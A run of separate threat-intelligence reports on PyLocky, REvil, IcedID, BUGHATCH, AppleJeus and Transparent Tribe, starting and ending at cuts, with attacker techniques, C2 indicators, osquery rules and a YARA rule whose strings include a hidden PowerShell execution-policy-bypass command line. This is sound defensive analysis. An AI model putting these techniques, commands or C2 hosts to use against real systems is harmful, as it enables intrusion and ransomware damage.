appears to be concentrated; we saw several spam emails targeting European countries, particularly France. And though the spam run started out small, its volume and scope eventually increased. ## Infection Chain On August 2, we detected a spam run distributing PyLocky to French businesses, luring them with socially engineered subject lines such as those related to invoices. The email entices the user to click a link, which redirects users to a malicious URL containing PyLocky. The malicious URL leads to a ZIP file (Facture_23100.31.07.2018.zip) that contains a signed executable (Facture_23100.31.07.2018.exe). When successfully run, the Facture_23100.31.07.2018.exe will drop malware components — several C++ and Python libraries and the Python 2.7 Core dynamic-link library (DLL) — along with the main ransomware executable (lockyfud.exe, which was created via PyInstaller) in C:\Users\{user}\AppData\Local\Temp\is-{random}.tmp. PyLocky encrypts image, video, document, sound, program, game, database, and archive files, among others. Here’s a list of file types PyLocky encrypts: .dat, .keychain, .sdf, .vcf, .jpg, .png, .tiff, .gif, .jpeg, .jif, .jp2, .jpx, .j2k, .j2c, .fpx, .pcd, .bmp, .svg, .3dm, .3ds, .max, .obj, .dds, .psd, .tga, .thm, .tif, .yuv, .ai, .eps, .ps, .svg, .indd, .pct, .mp4, .avi, .mkv, .3g2, .3gp, .asf, .flv, .m4v, .mov, .mpg, .rm, .srt, .swf, .vob, .wmv, .doc, .docx, .txt, .pdf, .log, .msg, .odt, .pages, .rtf, .tex, .wpd, .wps, .csv, .ged, .key, .pps, .ppt, .pptx, .xml, .json, .xlsx, .xlsm, .xlsb, .xls, .mht, .mhtml, .htm, .html, .xltx, .prn, .dif, .slk, .xlam, .xla, .ods, .docm, .dotx, .dotm, .xps, .ics, .mp3, .aif, .iff, .m3u, .m4a, .mid, .mpa, .wav, .wma, .msi, .php, .apk, .app, .bat, .cgi, .com, .asp, .aspx, .cer, .cfm, .css, .js, .jsp, .rss, .xhtml, .c, .class, .cpp, .cs, .h, .java, .lua, .pl, .py, .sh, .sln, .swift, .vb, .vcxproj, .dem, .gam, .nes, .rom, .sav, .tgz, .zip, .rar, .tar, .7z, .cbr, .deb, .gz, .pkg, .rpm, .zipx, .iso, .ged, .accdb, .db, .dbf, .mdb, .sql, .fnt, .fon, .otf, .ttf, .cfg, .ini, .prf, .bak, .old, .tmp, .torrent ## Encryption routine PyLocky is configured to encrypt a hardcoded list of file extensions. PyLocky also abuses Windows Management Instrumentation (WMI) to check the properties of the affected system. For its anti-sandbox capability, PyLocky will sleep for 999,999 seconds — or just over 11.5 days — if the affected system’s total visible memory size is less than 4GB. The file encryption routine executes if it is greater than or equal to 4GB. After encryption, PyLocky will establish communication with its command-and-control (C&C) server. PyLocky implements its encryption routines using the PyCrypto library – using the 3DES (Triple DES) cipher. PyLocky iterates through each logical drive, first generating a list of files before calling the ‘efile’ method, which overwrites each file with an encrypted version, then drops the ransom note. PyLocky’s ransom notes are in English, French, Korean, and Italian, which may suggest that it may also target Korean- and Italian-speaking users. It also sends the affected system’s information to the C&C server via POST. ## Mitigation and Trend Micro Solutions PyLocky’s evasion techniques and abuse of legitimate tools typically reserved for administrators further exemplify the significance of defense in depth. For instance, machine learning is a valuable cybersecurity tool in detecting unique malware, but it is not a silver bullet. With today’s threats, there are different vectors at the attackers’ disposal, which makes a multi-layered approach to security important. Apply best practices: regularly back up files, keep the system updated, secure the use of system components, and foster a culture of cybersecurity awareness. Trend Micro XGen™ security provides a cross-generational blend of threat defense techniques against a full range of threats for data centers, cloud environments, networks, and endpoints. It features high-fidelity machine learning to secure the gateway and endpoint data and applications, and protects physical, virtual, and cloud workloads. With capabilities like web/URL filtering, behavioral analysis, and custom sandboxing, XGen™ protects against today’s purpose-built threats that bypass traditional controls, exploit known, unknown, or undisclosed vulnerabilities, and either steal or encrypt personally identifiable data. Smart, optimized, and connected, XGen™ powers Trend Micro’s suite of security solutions: Hybrid Cloud Security, User Protection, and Network Defense. ## Indicators of Compromise (IoCs) Hashes detected as RANSOM_PYLOCKY.A (SHA-256): - c9c91b11059bd9ac3a0ad169deb513cef38b3d07213a5f916c3698bb4f407ffa - 1569f6fd28c666241902a19b205ee8223d47cccdd08c92fc35e867c487ebc999 Related hashes (SHA-256): - e172e4fa621845080893d72ecd0735f9a425a0c7775c7bc95c094ddf73d1f844 (Facture_23100.31.07.2018.zip) - 2a244721ff221172edb788715d11008f0ab50ad946592f355ba16ce97a23e055 (Facture_23100.31.07.2018.exe) - 87aadc95a8c9740f14b401bd6d7cc5ce2e2b9beec750f32d1d9c858bc101dffa (facture_31254872_18.08.23_{numbers}.exe) Related malicious URLs: - hxxps://centredentairenantes[.]fr (C&C server) - hxxps://panicpc[.]fr/client[.]php?fac=676171&u=0000EFC90103 - hxxps://savigneuxcom[.]securesitefr[.]com/client.php?fac=001838274191030
# Ransomware Spotlight: REvil ## REvil Overview Now that the reign of REvil has come to an end, it's time to regroup and strategize. What can organizations learn from REvil’s tactics? We review the rise, downfall, and future of its operations using insights into the group's arsenal and inner workings. REvil, also known as Sodinokibi, gained notoriety for its high-profile attacks since its discovery in 2019. After being among the most active ransomware variants in 2021, it was officially shut down following law enforcement attention due to its attacks on critical industries that resulted in supply shortages and delays. The crackdown led to the arrest of two associates and the takedown of its TOR network. However, organizations should remain vigilant, as the group may reemerge under a new name, given that the REvil name is now tarnished. ## History of REvil REvil is an example of ransomware as a service (RaaS) that originated from a Russian-speaking underground group. When first discovered, connections to the recently retired GandCrab became apparent, including the use of an Oracle WebLogic vulnerability and similarities in URLs and command-and-control (C&C) servers. In 2020, REvil introduced double extortion in its schemes, using stolen files to coerce victims into paying. Its operators conducted bold attacks on well-known public figures and organizations, making good on threats to publish stolen data via a dedicated leak site and underground forums. In 2021, REvil continued its techniques through debilitating attacks on major service providers and suppliers, notably attacking JBS in May and Kaseya in July. It was also linked to DarkSide, the group responsible for the Colonial Pipeline shutdown. ## Water Mare: REvil Behind the Scenes The connection between Water Mare and REvil dates back to April 2019, its first confirmed deployment. In June 2019, it was advertised by an actor with the username UNKN on the XSS forum. It operated as an affiliate service, where affiliates spread the ransomware while REvil operators maintained the malware and payment infrastructure. In 2020, Water Mare acquired new capabilities, including PE injection using PowerShell and the credential stealer KPOT. Affiliates offered access to company networks and VPN servers, while UNKN limited affiliates to Russian-speaking members to prevent intrusion. 2021 was marked by highs and lows for Water Mare, culminating in the arrest of several affiliates. The early part of the year promised new developments, such as plans for distributed denial-of-service (DDoS) attacks, but major attacks on JBS and Kaseya prompted law enforcement to close in on the group. The FBI later attributed the Kaseya and JBS attacks to the Water Mare intrusion set, which led to the retrieval of the master key for REvil. By October 2021, Water Mare’s data leak program became inaccessible, and the affiliate program was terminated. ## The Future of REvil Operators Ultimately, REvil’s activities placed it at the top of the list of ransomware operators that governments were eager to crack down on. Law enforcement efforts led to the shutdown of its operations and actual arrests. It is unlikely that the intrusion set will resurface under the name REvil due to the negative publicity associated with it. Affiliates doubted REvil's operations, and the disappearance of UNKN left a leadership void. Efforts to attract affiliates backfired, likely interpreted as a desperate measure. The group may persist by rebranding, a common tactic among ransomware operators. REvil’s affiliates are likely to move to other ransomware operators, and its operators may continue to work or move to other ransomware operations, bringing their techniques with them. ## An Overview of REvil Operations REvil’s operation was infamous for its heavy extortion tactics. Operators considered DDoS attacks and contacted customers, business partners, and the media to pressure victims into paying. They also auctioned stolen data to increase duress on victims. REvil is known for being highly targeted, utilizing tools based on operators’ high-level knowledge of their targets. This resulted in a varied arsenal and customized infection chains. Tools used included FileZilla for data exfiltration and PsExec for propagation and remote execution. ## Top Affected Industries and Countries REvil attacks were concentrated largely in the US, followed by Mexico and Germany. The most affected industries included transportation and finance, emphasizing REvil's focus on critical sectors. ## Infection Chains and Techniques REvil used a variety of tools and malware depending on the situation, demonstrating a high level of knowledge about their victims. Initial access was achieved through malspam emails, RDP access, and exploits. The payload was often downloaded and executed using various methods, including PowerShell and DLL sideloading. ### Initial Access Threat actors behind REvil hired affiliates for initial access, using malspam emails, RDP access, and compromised websites. ### Download and Execution Common methods for downloading and executing the payload included exploiting vulnerabilities and using malspam with macros. ### Lateral Movement Attackers used RDP and PsExec for lateral movement, dropping and executing ransomware components. ### Discovery REvil employed network discovery tools like AdFind and BloodHound. ### Defense Evasion Tools like PC Hunter and KillAV were used to disable antivirus products. New variants included a Safeboot routine to bypass security solutions. ### Credential Access and Exfiltration SharpSploit was used for credential access, with information sent back to actors via FTP transfers or third-party sync tools. ### Command and Control REvil sent reports and system info to its C&C, generating pseudorandom URLs based on a fixed format. ## Impact The encryption process involved privilege escalation, creating a mutex, and decrypting a JSON config file to determine its routines. The payload would then proceed with its encryption routine, deleting backups and reporting to its C&C. ## MITRE Tactics and Techniques - **Initial Access**: Phishing, Exploit Public-Facing Application - **Execution**: Command and Scripting Interpreter - **Persistence**: Boot or Logon Autostart Execution - **Privilege Escalation**: Access Token Manipulation - **Defense Evasion**: Obfuscated Files or Information - **Discovery**: File and Directory Discovery - **Credential Access**: OS Credential Dumping - **Lateral Movement**: Lateral Tool Transfer ## Summary of Malware, Tools, and Exploits Used Security teams should monitor for the presence of malware tools and exploits typically used in REvil attacks, including phishing emails, Qakbot, and various exploits. ## Recommendations While REvil operations have been shut down, organizations should not forget the consequences of its attacks. Best practices for defense include: - **Audit and Inventory**: Take inventory of assets and data. - **Configure and Monitor**: Manage hardware and software configurations. - **Patch and Update**: Conduct regular vulnerability assessments. - **Protect and Recover**: Implement data protection and recovery measures. - **Secure and Defend**: Employ sandbox analysis to block malicious emails. - **Train and Test**: Regularly train employees on security skills. A multilayered approach can help organizations guard against potential entry points into their systems.
# IcedID Malware: Traversing Through its Various Incarnations **May 02, 2023** **By System-41 Team** ## Executive Summary IcedID, the notorious malware, is actively involved in several delivery campaigns, demonstrating versatility and adaptability. The latest IcedID variants indicate the malware’s continuous evolution and the need for robust cybersecurity measures. The surging use of IcedID to deploy ransomware makes it a significant threat to organizations worldwide. IcedID stays true to its roots, employing consistent Tactics, Techniques, and Procedures (TTPs) across various campaigns over the year. Tidal Cyber’s visibility and features provide a better landscape for identifying and understanding TTPs. Osquery rules by Loginsoft published on Tidal Cyber’s platform will bolster your organization’s security posture. ## Evolution & Variants Continuously active since its initial appearance, IcedID has no periods of dormancy. Using various delivery mechanisms and evolutionary strategies, IcedID serves as an exemplary model for other malware. Widely observed in countries like the United States, United Kingdom, and Canada, the Threat Actors (TAs) targeted financial institutions, ecommerce, payment, and telecommunication industries. In recent years, these threat actors repurposed IcedID’s functionality, transforming it from a banking Trojan to a ransomware detonator. As a result, many TAs added IcedID to their arsenal, while most still prefer the standard variant of the malware. The standard IcedID variant propagates through emails with diverse attachments like HTML files, ZIP files, ISO images, and more. In March 2023, Proofpoint reported the discovery of two new variations of IcedID. Detected in November 2022 as part of the Emotet malware campaign, the first novel variant lacked certain features, making it lightweight and difficult to detect. The second new variant, observed in February 2023, bore a strong resemblance to the standard edition and mainly propagated through phishing emails with OneNote attachments. ## Malware Progression Our observations reveal that TA551 employed several tactics to distribute malicious payloads via email, including office files with malicious macros. Another variant of this campaign used an archived JavaScript file that downloads the IcedID DLL and masquerades with .jpg or .png extension to evade detection. The execution of the IcedID DLL, accomplished by executing Rundll32 LOLBin with an uncommon DllRegisterServer parameter, establishes communication with the attacker’s command and control (C2) server. ### ICEDID CAMPAIGN – 2021 TAs began disseminating malware through ISO files sent via email. Once clicked, the shortcut file executes the IcedID payload using regsvr32 or rundll32 LOLBin, bypassing MoTW flag. Upon execution of the IcedID DLL, the malware performed discovery tasks through Windows utilities like systeminfo, ipconfig, net, and nltest. A Cobalt Strike beacon was then deployed, and hands-on-keyboard activities were observed executing AdFind to perform enumeration. IcedID obtained credentials by accessing LSASS memory, using the credentials to establish RDP connections within the network. Subsequently, the TAs initiated a ransomware attack after gaining access to the compromised network. Additionally, in the same year, the TAs spread IcedID malware via Google Ads by creating fake software installer pages. Some variations of IcedID were also found to use Dark VNC as a backdoor. ### ICEDID CAMPAIGN – 2023 In 2023, TAs launched various IcedID malware distribution campaigns but quickly consolidated due to their common delivery method, phishing emails. Initially, emails contained ISO files as attachments; later, the TAs switched to OneNote and PDFs to spread the malware. The IcedID infection started when the user clicked on the malicious file, which then executed the IcedID DLL. In some cases, it created a scheduled task to run the malware. Once the patient-zero machine was infected, the malware began enumerating to escalate privileges and move laterally across the network. After gaining access to all the machines, including the AD server, the threat actors detonated the ransomware. Known cases where IcedID executed quantum ransomware surprised many. Despite the change in behavior of the malware, from a banking trojan to a ransomware deployer, many tactics, techniques, and procedures (TTPs) were common. ## Visibility Through Tidal For better visibility of all three campaigns, we used Tidal Cyber’s Community Edition to map the TTPs. Tidal Cyber is a defense platform utilizing threat intelligence to help cybersecurity teams promptly and effortlessly identify and address potential security incidents. The platform incorporates osquery from Loginsoft, detecting security threats and allowing users to research and create threat profiles. This results in Tidal Cyber enabling defenders to take informed defensive measures by prioritizing relevant threats. ## Osquery Rules To Detect IcedID Activity Below are specific osquery rules to help defend against the malicious behaviors exhibited by IcedID malware. **Detects suspicious hidden files from the mounted drive:** ```sql SELECT atime, btime, ctime, device, directory, path, filename, file_id, attributes FROM file JOIN (SELECT device_id FROM logical_drives where file_system = 'UDF') AS drives ON directory LIKE device_id || '\%' AND ( path LIKE '%.dll' OR path LIKE '%.bat' OR path LIKE '%.cmd' OR path LIKE '%.dat' ) AND attributes LIKE '%H%'; ``` **Detects the use of windows binary Regsvr32 making a network connection:** ```sql SELECT ps.name AS process_name, ps.pid AS process_id, ps.cmdline AS process_cmdline, pos.local_address AS local_address, pos.local_port AS local_port, pos.remote_address AS remote_address, pos.remote_port AS remote_port FROM processes ps, process_open_sockets pos WHERE ps.pid = pos.pid AND LOWER(ps.name) = 'regsvr32.exe'; ``` **Detects named pipes used by CobaltStrike:** ```sql SELECT p.name as process_name, p.pid as process_pid, p.path as process_path, p.cmdline as process_cmdline, pipes.name as pipe_name, pipes.instances as pipe_instances, pipes.flags as pipe_flags FROM processes p , pipes WHERE p.pid = pipes.pid AND ( LOWER(pipe_name) LIKE 'msagent_%' OR LOWER(pipe_name) LIKE 'interprocess_%' OR LOWER(pipe_name) LIKE 'sarpc_%' OR LOWER(pipe_name) LIKE 'samr_%' OR LOWER(pipe_name) LIKE 'netlogon_%' OR LOWER(pipe_name) LIKE 'wkssvc_%' OR LOWER(pipe_name) LIKE 'srvsvc_%' OR LOWER(pipe_name) LIKE 'mojo_%' OR LOWER(pipe_name) LIKE 'postex%' OR LOWER(pipe_name) LIKE 'status_%' OR LOWER(pipe_name) LIKE 'msse-%' ); ``` ## Threat Bites **Threat Actor:** TA578, TA551, TA577, TA544, TA581, TA542 **Targeted Country:** US, UK, Canada, Italy **Targeted Industry:** Financial Institution, Ecommerce, Payment, Telecommunication **First Seen:** 2017 **Last Seen:** 2023 **LOLBAS:** Rundll32, Regsvr32, Wmic **Backdoor:** Dark VNC, Anubis VNC, Keyhole VNC **Telemetry:** Sysmon, Security, Windefend, PowerShell
# BUGHATCH Malware Analysis Malware analysis of the BUGHATCH downloader. By Salim Bitam 09 September 2022 ## Key takeaways - Elastic Security Labs is releasing a BUGHATCH malware analysis report from a recent campaign. - This report covers detailed code analysis, network communication protocols, command handling, and observed TTPs. - From this research, we produced a YARA rule to detect the BUGHATCH downloader. ## Preamble BUGHATCH is an implant of a custom C2 deployed during the CUBA ransomware campaigns observed in February of 2022. This tool was most likely built by the threat actor themselves as it was not used previously. BUGHATCH is capable of downloading and executing commands and arbitrary code, giving the operator the freedom to execute payloads with different techniques like reflection, shellcode execution, system command execution, and so on. The samples we have seen were not obfuscated and were deployed using a custom obfuscated in-memory dropper written in PowerShell and referred to as TERMITE by Mandiant. In this document, we will go through the execution flow of BUGHATCH highlighting its functionalities and code execution techniques. A YARA rule and the MITRE ATT&CK mapping can be found in the appendix. In this analysis, we will describe the following: - Token adjustment - Information collection - Threading and thread synchronization - Network communication protocol - Command handling ## Additional BUGHATCH resources For information on the CUBA ransomware campaign and associated malware analysis, check out our blog posts detailing this: ### Static analysis - **SHA256**: F1325F8A55164E904A4B183186F44F815693A008A9445D2606215A232658C3CF - **File Size**: 35840 bytes - **File Type**: Win32 executable - **Signed?**: No - **Packer?**: No - **Compiler**: Visual Studio 2017 - 15.5.0 preview 2 - **Compile Time**: Sun Feb 06 21:05:18 2022 | UTC - **Entropy**: 6.109 ### Sections | Name | Virtual Address | Virtual Size | Raw Size | Entropy | MD5 | |--------|-----------------|---------------|----------|---------|---------------------------------------| | .text | 0x1000 | 0x6000 | 0x5400 | 5.933 | A6E30CCF838569781703C943F18DC3F5 | | .rdata | 0x7000 | 0x3000 | 0x2A00 | 6.217 | 9D9AD1251943ECACE81644A7AC320B3C | | .data | 0xA000 | 0x1000 | 0x400 | 1.163 | B983B8EB258220628BE2A88CA44286B4 | | .reloc | 0xB000 | 0x424 | 0x600 | 5.235 | 39324A58D79FC5B8910CBD9AFBF1A6CB | ## Code analysis BUGHATCH is an in-memory implant loaded by an obfuscated PowerShell script that decodes and executes an embedded shellcode blob in its allocated memory space using common Windows APIs (VirtualAlloc, CreateThread, WaitForSingleObject). The PowerShell loader uses inline C# to load APIs needed for shellcode injection. The PowerShell script is obfuscated with random functions and variable names and contains the shellcode in a reverse-Base64 format. The script first decodes the reverse-Base64 encoded data, then allocates a memory region with VirtualAlloc before copying the shellcode into it. Finally, the script executes the shellcode by creating a new thread with the CreateThread API. The shellcode downloads another shellcode blob and the encrypted PE implant from the C2 server. This second shellcode decrypts and reflectively loads the PE malware. This section dives deeper into the BUGHATCH execution flow, threading and encryption implementation, communication protocol with C2, and finally supported commands and payload execution techniques implemented. ### Token adjustment The implant starts by elevating permissions using the SeDebugPrivilege method, enabling the malware to access and read the memory of other processes. It leverages common Windows APIs to achieve this. ### Information collection The malware collects host-based information used to fingerprint the infected system. This information will be stored in a custom structure that will be 2-byte XOR encrypted and sent to the C2 server. The following lists the collected information: - Current value of the performance counter - Network information - System information - Token information - Domain and Username of the current process - Current process path #### Current value of the performance counter Using the QueryPerformanceCounter API, it collects the amount of time since the system was last booted. This value will be used to compute the 2-byte XOR encryption key to encrypt communications between the implant and the C2 server. #### Network information It collects the addresses of network interfaces connected to the infected machine by using the GetIpAddrTable Windows API. #### System information BUGHATCH collects key system information which includes: - Windows major release, minor release, and build number - Processor architecture (either 32-bit or 64-bit) - Computer name #### Token information The agent proceeds to collect the current process token group membership, invoking the AllocateAndInitializeSid API followed by the CheckTokenMembership API, concatenating the SDDL SID strings for every group the process token is part of. #### Domain and username of the current process The malware opens a handle to the current process with OpenProcessToken and gets the structure that contains the user account of the token with GetTokenInformation. It then retrieves the username and domain of the user account with the LookupAccountSidW API and concatenates the two strings in the format: DOMAIN\USERNAME. #### Current process path Finally, it collects the current process path with GetModuleFileNameW. The malware then encrypts the entire populated structure with a simple 2-byte XOR algorithm. ### Threading and thread synchronization The implant is multithreaded; it uses two different linked lists, one filled with commands received from the C2 server and the other filled with the output of the commands executed. It spawns 5 worker threads, each handling a command received from the C2 server by accessing the appropriate linked list using the CriticalSection object. The main process’ thread also retrieves the command's output from the second linked list using the CriticalSection object for synchronization purposes, to avoid any race conditions. ### Network communication protocol The implant uses HTTP(S) for communications. On top of the SSL encryption of the protocol, the malware and C2 encrypt the data with a 2-byte XOR key computed by the malware for each new session. The values to compute the 2-byte XOR key are prepended at the beginning of the base protocol packet which the server extracts to decrypt/encrypt commands. When launched, the malware will first send an HTTP POST request to the C2 server containing all the collected information extracted from the victim’s machine. The C2 then responds with the operator’s command if available, or else the agent sleeps for 60 seconds. After executing the command and only if the output of the executed command is available, the malware will send a POST request containing both the collected information and the command’s output; otherwise, it sends the collected information and waits for new commands. ### Command handling Once the working threads are started, the main thread will continue beaconing to the C2 server to retrieve commands. The main loop is made up of the following: - Send POST request - Decrypt the received command and add it to the linked list - Sleep for 60 seconds A working thread will first execute the RemoveEntryRecvLinkedList function that accesses and retrieves the data sent by the C2 server from the linked list. The thread will then de-encapsulate the data received from the C2 and extract the Msg(Command). The malware implements different functionalities according to a command flag. #### Command FLAG and Description | Command FLAG | Description | |--------------|-------------| | 1 | Group functions related to code and command execution | | 2 | Group functions related to utilities like impersonation and migration | | 3 | Process injection of a PE file in a suspended child process | ### Command 1 This command gives access to functionalities related to payload execution, from DLL to PE executable to PowerShell and cmd scripts. Some of the sub-commands use pipes to redirect the standard input/output of the child process, enabling the attacker to execute payloads and retrieve its output. #### Sub Command Functionality | Command Flag | Function Name | Functionality Description | |--------------|----------------------------------------|---------------------------| | 2 | ReflectivelyExecutePERemote | Reflectively loads PE files in a child process and redirects its standard input output, the output will be sent to the operator C2 server | | 3 | DropPEDiskExecute | Drops a PE file to disk and executes it, the execution output is then sent to the operator’s C2 server | | 4 | SelfShellcodeExecute | Executes a shellcode in the same process | | 5 | RemoteShellcodeExecute | Executes a shellcode in a suspended spawned child process | | 6 | ExecuteCmd | Executes a CMD script/command | | 7 | ExecutePowershell | Executes a Powershell script/command | | 9 | ReflectivelyLoadDllRemote | Executes a DLL reflectively in a remote process using CreateRemoteThread API | ### Command 2 The command 2 has multiple sub functionalities according to a subCommandFlag. #### Sub Command Functionality | Sub Command Flag | Function Name | Functionality Description | |------------------|-----------------------------|---------------------------| | 1 | ExitProcess | Exit process | | 2 | SelfDeleteExitProcess | Self delete and exit process | | 3 | SpawnAgent64 | Spawn 64-bit agent | | 4 | SpawnAgent32 | Spawn 32-bit agent | | 0x1001 | ImpersonateToken | Impersonate explorer | | 0x1002 | MigrateC2 | Change C2 config | ### Command 3 When command 3 is received, the malware will reflectively load a PE file embedded as payload in the C&C request in another process's memory space. ### Observed adversary tactics and techniques Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks. ### Detections The following detection rule was observed during the analysis of the BUGHATCH sample. This rule is not exclusive to BUGHATCH activity. - Enumeration of Privileged Local Groups Membership ### YARA rule ```yara rule Windows_Trojan_BUGHATCH { meta: author = "Elastic Security" creation_date = "2022-05-09" last_modified = "2022-06-09" license = "Elastic License v2" os = "Windows" arch = "x86" category_type = "Trojan" family = "BUGHATCH" threat_name = "Windows.Trojan.BUGHATCH" reference_sample = "b495456a2239f3ba48e43ef295d6c00066473d6a7991051e1705a48746e8051f" strings: $a1 = { 8B 45 ?? 33 D2 B9 A7 00 00 00 F7 F1 85 D2 75 ?? B8 01 00 00 00 EB 33 C0 } $a2 = { 8B 45 ?? 0F B7 48 04 81 F9 64 86 00 00 75 3B 8B 55 ?? 0F B7 42 16 25 00 20 00 00 ?? ?? B8 06 00 00 00 EB ?? } $a3 = { 69 4D 10 FD 43 03 00 81 C1 C3 9E 26 00 89 4D 10 8B 55 FC 8B 45 F8 0F B7 0C 50 8B 55 10 C1 EA 10 81 E2 FF FF 00 00 33 CA 8B 45 FC 8B 55 F8 66 89 0C 42 } $c1 = "-windowstyle hidden -executionpolicy bypass -file" $c2 = "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" $c3 = "ReflectiveLoader" $c4 = "\\Sysnative\\" $c5 = "TEMP%u.CMD" $c6 = "TEMP%u.PS1" $c7 = "\\TEMP%d.%s" $c8 = "NtSetContextThread" $c9 = "NtResumeThread" condition: any of ($a*) or 6 of ($c*) } ```
# AppleJeus: CoinGoTrade Malware Analysis Report **Date:** 2021-02-12 **Report ID:** MAR-10322463-5.v1 ## Summary This Malware Analysis Report (MAR) is the result of analytic efforts among the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Department of Treasury to highlight the cyber threat to cryptocurrency posed by North Korea, formally known as the Democratic People's Republic of Korea (DPRK), and provide mitigation recommendations. Working with U.S. government partners, these agencies attribute the threat to North Korean state-sponsored advanced persistent threat (APT) actors targeting individuals and companies, including exchanges and financial service companies, through the dissemination of cryptocurrency trading applications modified to include malware for the theft of cryptocurrency. This MAR highlights the cyber threat posed by North Korea and provides detailed indicators of compromise (IOCs) used by the North Korean government. The government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. There have been multiple versions of AppleJeus malware discovered since its initial discovery in August 2018. In most versions, the malware appears as a legitimate-looking cryptocurrency trading company and website, whereby an unsuspecting individual downloads a third-party application from a site that appears legitimate. The U.S. Government has identified AppleJeus malware version CoinGoTrade and associated IOCs used by the North Korean government. CoinGoTrade, discovered in October 2020, is a legitimate-looking cryptocurrency trading software marketed and distributed by a company associated with coingotrade.com. Some information has been redacted from this report to preserve victim confidentiality. ## Submitted Files - **CoinGoTradeUpgradeDaemon**: 326d7836d580c08cf4b5e587434f6e5011ebf2284bbf3e7c083a8f41dac36ddd - **CoinGoTrade.msi**: [Redacted] - **CoinGoTrade.exe**: 3e5442440aea07229a1bf6ca2fdf78c5e2e5eaac312a325ccb49d45da14f97f4 - **CoinGo_Trade**: 527792dfab79f026eaa6930d2109c93e816ed31826dba0338a9223db71aced18 - **CoinGoTradeUpdate.exe**: 572a124f5665be68eaa472590f3ba75bf34b0ea2942b5fcbfd3e74654202dd09 - **prtspool**: 5e40d106977017b1ed235419b1e59ff090e1f43ac57da1bb5d80d66ae53b1df8 - **CoinGoTrade.dmg**: [Redacted] ## Domains - airbseeker.com - coingotrade.com - globalkeystroke.com - woodmate.it ## IPs - 23.152.0.101 ## Findings [Redacted] ## Tags - dropper ## Details ### CoinGoTrade.msi - **Size**: [Redacted] bytes - **Type**: MSI Installer - **MD5**: [Redacted] - **SHA1**: [Redacted] - **SHA256**: [Redacted] - **SHA512**: [Redacted] ### Antivirus - Avira: TR/NukeSped.lyfhd ### Description This Windows program from the CoinGoTrade site is a Windows MSI Installer. The installer appears to be legitimate and will install "CoinGoTrade" in the “C:\Program Files (x86)\CoinGoTrade” folder. It will also install "CoinGoTradeUpdate.exe" in the “C:\Users\<username>\AppData\Roaming\CoinGoTradeSupport” folder. Immediately after installation, the installer launches "CoinGoTradeUpdate.exe." ### Screenshots - **Figure 1**: Screenshot of "CoinGoTrade" installation. ### URLs - coingotrade.com/update_coingotrade.php - hxxps://coingotrade.com/download/[GUID] ### Whois Registrar: NAMECHEAP INC Creation Date: 2020-02-28 Registrar Registration Expiration Date: 2021-02-28 ### Relationships - [Redacted] Downloaded_By coingotrade.com - [Redacted] Contains 3e5442440aea07229a1bf6ca2fdf78c5e2e5eaac312a325ccb49d45da14f97f4 - [Redacted] Contains 572a124f5665be68eaa472590f3ba75bf34b0ea2942b5fcbfd3e74654202dd09 ### Tags - trojan ## Recommendations CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organizations: - Maintain up-to-date antivirus signatures and engines. - Keep operating system patches up-to-date. - Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication. - Restrict users' ability (permissions) to install and run unwanted software applications. - Enforce a strong password policy and implement regular password changes. - Exercise caution when opening e-mail attachments. - Enable a personal firewall on agency workstations. - Disable unnecessary services on agency workstations and servers. - Scan for and remove suspicious e-mail attachments. - Monitor users' web browsing habits. - Exercise caution when using removable media. - Scan all software downloaded from the Internet prior to executing. - Maintain situational awareness of the latest threats. ## Contact Information CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the provided feedback link. ## Revisions February 17, 2021: Initial Version
# Transparent Tribe Targets Educational Institution By Saikumaravel May 11, 2022 Recently we came across a Twitter feed that described a Transparent Tribe malware sample targeting Indian Institute of Technology (IIT), Hyderabad. The sample was fairly new and did not have many detections at the time of writing this blog, which attracted our interest in diving deeper into the sample. Transparent Tribe, also known as APT36 or Mythic Leopard, is suspected to be of Pakistani origin and primarily targets Indian government and military entities, as per public reports. Transparent Tribe has been active since 2013 and has targeted government organizations in around 30 countries. Their usual attack sequence is to create fake domains mimicking the government organization and then deliver the payload. It frequently uses Crimson RAT, a Windows-based Remote Admin Tool that provides unauthorized access to a victim’s device over a network. In 2019, we in K7 Labs published an article about Transparent Tribe targeting the CLAWS, a security think tank team affiliated with the Indian Army. Recently, similar kinds of attacks have been happening more frequently, targeting state governments and other government institutions. Transparent Tribe recently targeted the West Bengal government employees by sending a spoofed document (of a legitimate government document) which delivers a Crimson RAT payload. Our sample of interest now also delivers a document pretending to be a legitimate survey form by IIT Hyderabad. Once the document is opened, it asks the user to enable a macro through which it can run the VBA script. We used oletools to extract the VBA script from the macro. We then gleaned that this was the same method which had been used before. The malicious macro contained one Form Object for which the first two values are “80” and “75,” which when converted to ASCII will be “PK,” indicating Pakistan, adding suspicion that this attack could be of Pakistani origin. While executing the document, it runs the VBA script. Like the other Transparent Tribe variants, in this VBA script it creates a new directory E0d1 under C:\ProgramData\ and writes the array of values from the VBA into a file Chairtabkjh8.zip in that directory. The zip file contains the executable file named Chairtabkjh8.exe, which is extracted in the same path. The extracted file adds a startup entry to run in the background as a child process of the Word document. ## Analysis We identified that the binary Chairtabkjh8.exe is .NET compiled and protected by Crypto-Obfuscator. We used Crypto-Deobfuscator to de-obfuscate the binary for analysis. It uses AMSI (Anti Malware Scan Interface) bypass technique to escape from scanning of AMSI API. It also uses Base64 encoding technique to encode the strings and the most common persistent technique of adding a run entry for the Chairtabkjh8.exe. The registry path is encoded in Base64 and while executing it decodes and adds the run entry. After adding the run entry, the next function executed is for delayed execution technique. It performed a delayed execution technique by holding the execution. It gets the current system time and holds for 3 minutes before continuing execution. Since we already know Transparent Tribe uses RAT, this sample that is being analyzed may also use some of these common malicious behaviors of RAT like: 1. List victim’s all files and folders in a C2 specified directory path 2. Run specific processes at the endpoint keylogger 3. Get information about the image files like image name, size of image, and its creation time as specified by C2 4. Take screenshots of the present day display screen and send it to C2 5. Forward keylogger logs to the C2 6. Send system information including computer name, username, etc., to C2 In this scenario, we found only two such behaviors related to Crimson RAT, first being Chairtabkjh8.exe sends system information to C2 including computer name and username. The second activity being it gets the information about the image files like image name, size of image, and its creation time as specified by C2. After collecting the data from the victim’s system, it tries to make a TCP connection to send the data to the C2 server sunnyleone[.]hopto[.]org by using different customized ports each time to connect to the C2. Since the C2 was down at the time of analysis of 